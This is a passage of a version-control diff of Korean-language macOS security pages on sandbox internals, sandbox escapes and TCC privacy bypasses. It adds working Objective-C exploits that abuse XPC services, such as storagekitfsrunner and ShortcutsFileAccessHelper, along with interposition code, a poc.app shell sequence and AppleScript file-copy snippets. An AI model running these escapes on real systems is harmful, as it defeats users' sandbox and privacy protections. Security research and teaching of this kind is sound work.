- `mpo_proc_check_for`: 필요할 경우 프로필을 적용하며 이전에 적용되지 않은 경우에만 적용합니다.
- `mpo_proc_check_for`: 필요할 경우 프로필을 적용하며, 이전에 적용되지 않은 경우에만 적용합니다.
- `mpo_vnode_check_exec`: 프로세스가 관련 이진 파일을 로드할 때 호출되며, 프로필 검사가 수행되고 SUID/SGID 실행을 금지하는 검사도 수행됩니다.
- `mpo_cred_label_update_execve`: 레이블이 할당될 때 호출됩니다. 이 함수는 이진 파일이 완전히 로드되었지만 아직 실행되지 않았을 때 호출되므로 가장 긴 함수입니다. 샌드박스 객체를 생성하고, kauth 자격 증명에 샌드박스 구조를 첨부하고, mach 포트에 대한 액세스를 제거하는 등의 작업을 수행합니다.
@ -370,7 +372,7 @@ iOS에서는 커널 확장이 **모든 프로필을 하드코딩**하여 `__TEXT
## Sandboxd
샌드박스는 XPC Mach 서비스 `com.apple.sandboxd`를 노출하는 사용자 데몬도 실행하며, 커널 확장이 통신하는 데 사용하는 특별한 포트 14 (`HOST_SEATBELT_PORT`)에 바인딩됩니다. MIG를 사용하여 몇 가지 기능을 노출합니다.
샌드박스는 XPC Mach 서비스 `com.apple.sandboxd`를 노출하는 사용자 데몬도 실행하며, 커널 확장이 이를 통신하는 데 사용하는 특별한 포트 14 (`HOST_SEATBELT_PORT`)에 바인딩됩니다. MIG를 사용하여 일부 기능을 노출합니다.
## References

View File

@ -6,11 +6,11 @@
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
이전 이미지에서 **샌드박스가 어떻게 로드될 것인지**를 관찰할 수 있습니다. 이는 **`com.apple.security.app-sandbox`** 권한을 가진 애플리케이션이 실행될 때 발생합니다.
이전 이미지에서 **샌드박스가 어떻게 로드되는지** 관찰할 수 있습니다. 이는 **`com.apple.security.app-sandbox`** 권한을 가진 애플리케이션이 실행될 때 발생합니다.
컴파일러는 `/usr/lib/libSystem.B.dylib`를 바이너리에 링크합니다.
그런 다음, **`libSystem.B`**는 여러 다른 함수를 호출하여 **`xpc_pipe_routine`**이 애플리케이션의 권한을 **`securityd`**에 전송할 때까지 진행합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다.\
그런 다음, **`libSystem.B`**는 여러 다른 함수를 호출하여 **`xpc_pipe_routine`**이 애플리케이션의 권한을 **`securityd`**에 전송합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다.\
마지막으로, 샌드박스는 **`__sandbox_ms`**에 대한 호출로 활성화되며, 이는 **`__mac_syscall`**을 호출합니다.
## Possible Bypasses
@ -19,10 +19,10 @@
**샌드박스화된 프로세스에 의해 생성된 파일**은 샌드박스 탈출을 방지하기 위해 **격리 속성**이 추가됩니다. 그러나 샌드박스화된 애플리케이션 내에서 **격리 속성이 없는 `.app` 폴더를 생성**할 수 있다면, 애플리케이션 번들 바이너리를 **`/bin/bash`**로 가리키게 하고 **plist**에 몇 가지 환경 변수를 추가하여 **`open`**을 악용하여 **새 애플리케이션을 샌드박스 없이 실행**할 수 있습니다.
이것은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**에서 수행된 입니다.**
이것은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**에서 수행된 작업입니다.**
> [!CAUTION]
> 따라서 현재로서는 **격리 속성이 없는 `.app`**로 끝나는 이름의 폴더를 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 **`.app` 폴더**와 **주 실행 파일**에서만 **격리** 속성을 **확인**하기 때문입니다 (그리고 우리는 주 실행 파일을 **`/bin/bash`**로 가리키게 할 것입니다).
> 따라서 현재로서는 **`.app`**로 끝나는 이름의 폴더를 격리 속성 없이 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 **`.app` 폴더**와 **주 실행 파일**에서만 **격리** 속성을 **확인**하기 때문입니다 (그리고 우리는 주 실행 파일을 **`/bin/bash`**로 가리키게 할 것입니다).
>
> 이미 실행할 수 있도록 승인된 .app 번들이 있다면 (실행 승인 플래그가 있는 격리 xttr가 있는 경우), 그것을 악용할 수도 있습니다... 단, 이제는 샌드박스 내에서 **`.app`** 번들에 쓸 수 없게 됩니다. (특권 TCC 권한이 없기 때문입니다).
@ -41,9 +41,9 @@ macos-office-sandbox-bypasses.md
### Abusing Auto Start Locations
샌드박스화된 프로세스가 **나중에 샌드박스 없이 실행될 애플리케이션이 바이너리를 실행할 위치에** **쓰기**가 가능하다면, 그곳에 바이너리를 **배치하기만 하면** 탈출할 수 있습니다. 이러한 위치의 좋은 예는 `~/Library/LaunchAgents` 또는 `/System/Library/LaunchDaemons`입니다.
샌드박스화된 프로세스가 **나중에 샌드박스 없이 실행될 애플리케이션이 바이너리를 실행할 위치에** **쓰기** 할 수 있다면, 그곳에 바이너리를 배치함으로써 **탈출할 수 있습니다**. 이러한 위치의 좋은 예는 `~/Library/LaunchAgents` 또는 `/System/Library/LaunchDaemons`입니다.
이를 위해서는 **2단계**가 필요할 수 있습니다: **더 관대하게 설정된 샌드박스** (`file-read*`, `file-write*`)에서 프로세스를 실행하여 실제로 **샌드박스 없이 실행될** 위치에 코드를 작성하게 합니다.
이를 위해서는 **2단계**가 필요할 수 있습니다: **더 관대한 샌드박스** (`file-read*`, `file-write*`)를 가진 프로세스를 실행하여 실제로 **샌드박스 없이 실행될 위치에** 코드를 작성하게 합니다.
**자동 시작 위치**에 대한 이 페이지를 확인하세요:
@ -53,29 +53,190 @@ macos-office-sandbox-bypasses.md
### Abusing other processes
샌드박스 프로세스에서 **덜 제한적인 샌드박스**(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 **타격**할 수 있다면, 그들의 샌드박스 탈출할 수 있습니다:
샌드박스 프로세스에서 **덜 제한적인 샌드박스**(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 **타격**할 수 있다면, 그들의 샌드박스 탈출할 수 있습니다:
{{#ref}}
../../../macos-proces-abuse/
{{#endref}}
### Static Compiling & Dynamically linking
### Available System and User Mach services
[**이 연구**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)는 샌드박스를 우회하는 2가지 방법을 발견했습니다. 샌드박스는 **libSystem** 라이브러리가 로드될 때 사용자 공간에서 적용됩니다. 바이너리가 이를 로드하지 않도록 할 수 있다면, 샌드박스에 걸리지 않을 것입니다:
샌드박스는 또한 프로필 `application.sb`를 통해 특정 **Mach 서비스**와 통신할 수 있도록 허용합니다. 이러한 서비스 중 하나를 **악용**할 수 있다면 **샌드박스를 탈출**할 수 있습니다.
- 바이너리가 **완전히 정적으로 컴파일**되었다면, 해당 라이브러리를 로드하지 않을 수 있습니다.
- **바이너리가 어떤 라이브러리도 로드할 필요가 없다면** (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다.
[이 글](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 언급된 바와 같이, Mach 서비스에 대한 정보는 `/System/Library/xpc/launchd.plist`에 저장됩니다. `<string>System</string>``<string>User</string>`를 해당 파일에서 검색하여 모든 시스템 및 사용자 Mach 서비스를 찾을 수 있습니다.
### Shellcodes
또한, `bootstrap_look_up`을 호출하여 샌드박스화된 애플리케이션에 Mach 서비스가 사용 가능한지 확인할 수 있습니다.
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
**셸코드**조차도 ARM64에서 `libSystem.dylib`에 링크되어야 함을 유의하세요:
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
```
### 사용 가능한 PID Mach 서비스
이 Mach 서비스는 [이 문서에서 샌드박스를 탈출하기 위해 처음으로 악용되었습니다](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). 그 당시, **애플리케이션과 그 프레임워크에서 요구되는 모든 XPC 서비스**가 앱의 PID 도메인에서 볼 수 있었습니다 (이들은 `ServiceType``Application`인 Mach 서비스입니다).
**PID 도메인 XPC 서비스에 연락하기 위해서는**, 앱 내에서 다음과 같은 한 줄로 등록하기만 하면 됩니다:
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
또한, `System/Library/xpc/launchd.plist`에서 `<string>Application</string>`를 검색하여 모든 **Application** Mach 서비스를 찾는 것이 가능합니다.
유효한 xpc 서비스를 찾는 또 다른 방법은 다음의 서비스를 확인하는 것입니다:
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
이 기술을 악용한 여러 예시는 [**원본 작성물**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 찾을 수 있지만, 다음은 요약된 몇 가지 예입니다.
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
이 서비스는 항상 `YES`를 반환하여 모든 XPC 연결을 허용하며, 메서드 `runTask:arguments:withReply:`는 임의의 명령을 임의의 매개변수로 실행합니다.
익스플로잇은 "매우 간단했다":
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
이 XPC 서비스는 항상 YES를 반환하여 모든 클라이언트를 허용했으며, 메서드 `createZipAtPath:hourThreshold:withReply:`는 기본적으로 압축할 폴더의 경로를 지정할 수 있게 해주었습니다. 그리고 그것은 ZIP 파일로 압축됩니다.
따라서 가짜 앱 폴더 구조를 생성하고 압축한 다음, 이를 풀고 실행하여 샌드박스를 탈출할 수 있습니다. 새로운 파일은 격리 속성을 가지지 않기 때문입니다.
익스플로잇은:
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
이 XPC 서비스는 `extendAccessToURL:completion:` 메서드를 통해 XPC 클라이언트에 임의의 URL에 대한 읽기 및 쓰기 액세스를 제공합니다. XPC 서비스가 FDA를 가지고 있기 때문에 이러한 권한을 악용하여 TCC를 완전히 우회할 수 있습니다.
익스플로잇은:
```objectivec
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
```
### 정적 컴파일 및 동적 링크
[**이 연구**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)는 샌드박스를 우회하는 2가지 방법을 발견했습니다. 샌드박스는 **libSystem** 라이브러리가 로드될 때 사용자 공간에서 적용됩니다. 이진 파일이 이를 로드하는 것을 피할 수 있다면, 샌드박스에 걸리지 않을 것입니다:
- 이진 파일이 **완전히 정적으로 컴파일**되었다면, 해당 라이브러리를 로드하는 것을 피할 수 있습니다.
- **이진 파일이 어떤 라이브러리도 로드할 필요가 없다면** (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다.
### 셸코드
**셸코드**조차도 ARM64에서는 `libSystem.dylib`에 링크되어야 합니다:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Entitlements
### 상속되지 않는 제한
특정 **권한**이 있는 애플리케이션의 경우, **샌드박스**에서 일부 **작업**이 **허용될 수** 있음을 유의하십시오.
**[이 글의 보너스](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**에서 설명된 것처럼, 샌드박스 제한은 다음과 같습니다:
```
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
```
새 프로세스가 예를 들어 실행됨으로써 우회될 수 있습니다:
```bash
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
그러나 물론 이 새로운 프로세스는 부모 프로세스의 권한이나 특권을 상속받지 않습니다.
### 권한
어떤 **작업**이 특정 **권한**이 있는 애플리케이션의 경우 **샌드박스**에 의해 **허용될 수** 있다는 점에 유의하십시오.
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -93,7 +254,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
../../../macos-proces-abuse/macos-function-hooking.md
{{#endref}}
#### 샌드박스를 방지하기 위해 `_libsecinit_initializer`를 인터포스합니다.
#### 샌드박스를 방지하기 위해 `_libsecinit_initializer`를 인터포스합니다.
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
@ -117,7 +278,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interpost `__mac_syscall`로 샌드박스 방지하기
#### Interpost `__mac_syscall`로 샌드박스 방지
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
@ -161,7 +322,7 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### lldb로 샌드박스 디버깅 및 우회
### lldb로 Sandbox 디버그 및 우회
샌드박스되어야 하는 애플리케이션을 컴파일해 보겠습니다:
@ -295,7 +456,7 @@ Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
> [!WARNING] > **샌드박스를 우회하더라도 TCC**는 사용자가 프로세스가 데스크탑에서 파일을 읽는 것을 허용할지 물어니다.
> [!WARNING] > **샌드박스를 우회하더라도 TCC**는 사용자가 프로세스가 데스크탑에서 파일을 읽는 것을 허용할지 물어볼 것입니다.
## References

View File

@ -6,7 +6,7 @@
### 쓰기 우회
이것은 우회가 아니라 TCC가 작동하는 방식입니다: **쓰기 보호가 없습니다**. 만약 Terminal이 **사용자의 바탕화면을 읽을 수 있는 권한이 없다면 여전히 그 안에 쓸 수 있습니다**:
이것은 우회가 아니라 TCC가 작동하는 방식입니다: **쓰기에서 보호하지 않습니다**. 만약 Terminal이 **사용자의 바탕화면을 읽을 수 있는 권한이 없다면 여전히 그 안에 쓸 수 있습니다**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -20,13 +20,13 @@ asd
### TCC ClickJacking
사용자가 **알지 못한 채로** TCC 프롬프트 위에 **창을 올려놓는** 것이 가능합니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.**
사용자가 이를 **인식하지 못한 채** **수락**하도록 **TCC 프롬프트 위에 창을 올리는** 것이 가능합니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### 임의 이름으로 TCC 요청
공격자는 **`Info.plist`**에서 **임의의 이름**(예: Finder, Google Chrome...)을 가진 앱을 **생성하고** TCC 보호 위치에 대한 접근을 요청할 수 있습니다. 사용자는 합법적인 애플리케이션이 이 접근을 요청하고 있다고 생각할 것입니다.\
공격자는 **`Info.plist`**에서 **임의의 이름**(예: Finder, Google Chrome...)으로 앱을 **생성하고** TCC 보호 위치에 대한 접근을 요청할 수 있습니다. 사용자는 합법적인 애플리케이션이 이 접근을 요청하고 있다고 생각할 것입니다.\
게다가, **합법적인 앱을 Dock에서 제거하고 가짜 앱을 올려놓는** 것이 가능하므로, 사용자가 가짜 앱(같은 아이콘을 사용할 수 있음)을 클릭하면 합법적인 앱을 호출하고 TCC 권한을 요청하여 악성코드를 실행하게 되어 사용자가 합법적인 앱이 접근을 요청했다고 믿게 만들 수 있습니다.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -39,7 +39,7 @@ asd
### SSH 우회
기본적으로 **SSH를 통한 접근은 "전체 디스크 접근"**을 가지고 있었습니다. 이를 비활성화하려면 목록에 나열되어 있지만 비활성화되어 있어야 합니다(목록에서 제거하는 것은 이러한 권한을 제거하지 않습니다):
기본적으로 **SSH를 통한 접근은 "전체 디스크 접근"**을 가져야 했습니다. 이를 비활성화하려면 목록에 나열되어 있지만 비활성화되어 있어야 합니다(목록에서 제거하는 것은 이러한 권한을 제거하지 않습니다):
![](<../../../../../images/image (1077).png>)
@ -52,9 +52,9 @@ asd
### 핸들 확장 - CVE-2022-26767
속성 **`com.apple.macl`**은 파일에 부여되어 **특정 애플리케이션이 이를 읽을 수 있는 권한을 부여합니다.** 이 속성은 **파일을 앱로 드래그 앤 드롭**하거나 사용자가 **더블 클릭**하여 **기본 애플리케이션**으로 파일을 열 때 설정됩니다.
속성 **`com.apple.macl`**은 파일에 부여되어 **특정 애플리케이션이 이를 읽을 수 있는 권한을 부여합니다.** 이 속성은 **파일을 앱로 드래그 앤 드롭**하거나 사용자가 **더블 클릭**하여 **기본 애플리케이션**으로 파일을 열 때 설정됩니다.
따라서 사용자는 **모든 확장을 처리하는 악성 앱을 등록하고** Launch Services를 호출하여 **파일을 열 수 있습니다**(따라서 악성 파일이 읽을 수 있는 접근 권한을 부여받게 됩니다).
따라서 사용자는 **모든 확장을 처리하는 악성 앱을 등록**하고 Launch Services를 호출하여 **파일을 열 수 있습니다**(따라서 악성 파일이 읽을 수 있는 접근 권한을 부여받게 됩니다).
### iCloud
@ -66,7 +66,7 @@ asd
### kTCCServiceAppleEvents / 자동화
**`kTCCServiceAppleEvents`** 권한을 가진 앱은 **다른 앱을 제어할 수 있습니다**. 이는 다른 앱에 부여된 권한을 **남용할 수 있음을 의미합니다**.
**`kTCCServiceAppleEvents`** 권한이 있는 앱은 **다른 앱을 제어할 수 있습니다**. 이는 다른 앱에 부여된 권한을 **남용할 수 있음을 의미합니다**.
Apple Scripts에 대한 더 많은 정보는 다음을 확인하세요:
@ -80,7 +80,7 @@ macos-apple-scripts.md
#### iTerm에서
FDA가 없는 Terminal은 iTerm을 호출할 수 있으며, 이를 사용하여 작업을 수행할 수 있습니다:
FDA가 없는 Terminal은 FDA가 있는 iTerm을 호출하여 작업을 수행할 수 있습니다:
```applescript:iterm.script
tell application "iTerm"
activate
@ -98,7 +98,7 @@ osascript iterm.script
```
#### Over Finder
또는 앱이 Finder에 대한 접근 권한이 있는 경우, 다음과 같은 스크립트를 사용할 수 있습니다:
또는 앱이 Finder에 대한 액세스 권한이 있는 경우, 다음과 같은 스크립트를 사용할 수 있습니다:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
@ -115,7 +115,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
사용자 공간의 **tccd 데몬**은 **`HOME`** **env** 변수를 사용하여 TCC 사용자 데이터베이스에 접근합니다: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
[이 Stack Exchange 게시물](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)에 따르면, TCC 데몬은 현재 사용자의 도메인 내에서 `launchd`를 통해 실행되므로, **전달되는 모든 환경 변수를 제어**할 수 있습니다.\
따라서, **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된** **디렉토리**를 가리키도록 설정하고, **TCC** 데몬을 **재시작**한 다음, **TCC 데이터베이스를 직접 수정**하여 **최종 사용자에게 아무런 프롬프트 없이** **모든 TCC 권한**을 부여할 수 있습니다.\
따라서 **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된** **디렉토리**를 가리키도록 설정하고, **TCC** 데몬을 **재시작**한 다음, **TCC 데이터베이스를 직접 수정**하여 최종 사용자에게 아무런 요청 없이 **모든 TCC 권한**을 부여할 수 있습니다.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -145,33 +145,33 @@ $> ls ~/Documents
```
### CVE-2021-30761 - 노트
노트는 TCC 보호 위치에 접근할 수 있지만, 노트가 생성될 때 **비보호 위치**에 생성됩니다. 따라서 노트에 보호된 파일을 복사하도록 요청할 수 있으며 (즉, 비보호 위치에) 그 파일에 접근할 수 있습니다:
노트는 TCC 보호 위치에 접근할 수 있지만, 노트가 생성될 때 **비보호 위치**에 생성됩니다. 따라서 노트에 보호된 파일을 노트에 복사하도록 요청할 수 있으며(즉, 비보호 위치에) 그 파일에 접근할 수 있습니다:
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-30782 - 전이
바이너리 `/usr/libexec/lsd``libsecurity_translocate` 라이브러리와 함께 `com.apple.private.nullfs_allow` 권한을 가지고 있어 **nullfs** 마운트를 생성할 수 있었고, **`kTCCServiceSystemPolicyAllFiles`**와 함께 `com.apple.private.tcc.allow` 권한을 가지고 있어 모든 파일에 접근할 수 있었습니다.
바이너리 `/usr/libexec/lsd``libsecurity_translocate` 라이브러리와 함께 `com.apple.private.nullfs_allow` 권한을 가지고 있어 **nullfs** 마운트를 생성할 수 있었고, 모든 파일에 접근하기 위해 **`kTCCServiceSystemPolicyAllFiles`**와 함께 `com.apple.private.tcc.allow` 권한을 가지고 있었습니다.
"Library"에 격리 속성을 추가하고 **`com.apple.security.translocation`** XPC 서비스를 호출하면 Library가 **`$TMPDIR/AppTranslocation/d/d/Library`**로 매핑되어 Library 내부의 모든 문서에 **접근**할 수 있었습니다.
### CVE-2023-38571 - 음악 및 TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`**는 흥미로운 기능을 가지고 있습니다: 실행 중일 때 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 게다가, **`rename(a, b);`**와 같은 호출을 합니다. 여기서 `a``b`:
**`Music`**는 흥미로운 기능을 가지고 있습니다: 실행 중일 때 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 게다가, **`rename(a, b);`**와 같은 호출을 하며, 여기서 `a``b`는 다음과 같습니다:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
**`rename(a, b);`** 동작은 **경쟁 조건**에 취약합니다. 왜냐하면 `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고, 새 폴더(b)가 생성될 때 파일을 복사하고 삭제한 후 **`~/Library/Application Support/com.apple.TCC`**로 포인팅할 수 있기 때문입니다.
**`rename(a, b);`** 동작은 **경쟁 조건**에 취약합니다. 왜냐하면 `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고, 새 폴더(b)가 생성될 때 파일을 복사하고 삭제한 후 **`~/Library/Application Support/com.apple.TCC`**를 가리키도록 할 수 있기 때문입니다.
### SQLITE_SQLLOG_DIR - CVE-2023-32422
**`SQLITE_SQLLOG_DIR="path/folder"`**는 기본적으로 **열려 있는 모든 db가 해당 경로로 복사됨**을 의미합니다. 이 CVE에서는 이 제어가 남용되어 **SQLite 데이터베이스** 내부에 **쓰기**가 이루어졌고, FDA TCC 데이터베이스로 열릴 프로세스에 의해 **`SQLITE_SQLLOG_DIR`**가 **파일 이름의 심볼릭 링크**로 남용되어 그 데이터베이스가 **열릴** 때 사용자 **TCC.db가 열려 있는 것으로 덮어씌워졌습니다.**\
**`SQLITE_SQLLOG_DIR="path/folder"`**는 기본적으로 **열려 있는 모든 db가 해당 경로로 복사됨**을 의미합니다. 이 CVE에서는 이 제어가 남용되어 **TCC 데이터베이스**를 열 프로세스에 의해 **열릴** **SQLite 데이터베이스** 내부에 **쓰기**가 이루어졌고, **파일 이름에 symlink**를 사용하여 **`SQLITE_SQLLOG_DIR`**를 남용하여 그 데이터베이스가 **열릴** 때 사용자 **TCC.db가 열려 있는 것으로 덮어씌워졌습니다.**\
**자세한 정보** [**작성물에서**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **및** [**강의에서**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
환경 변수 **`SQLITE_AUTO_TRACE`**가 설정되면, 라이브러리 **`libsqlite3.dylib`**는 모든 SQL 쿼리를 **로그**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 로그할 수 있었습니다.
환경 변수 **`SQLITE_AUTO_TRACE`**가 설정되면, 라이브러리 **`libsqlite3.dylib`**는 모든 SQL 쿼리를 **로그**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 기록할 수 있었습니다.
여러 애플리케이션이 TCC 보호 정보를 접근하기 위해 이 라이브러리를 사용했습니다.
```bash
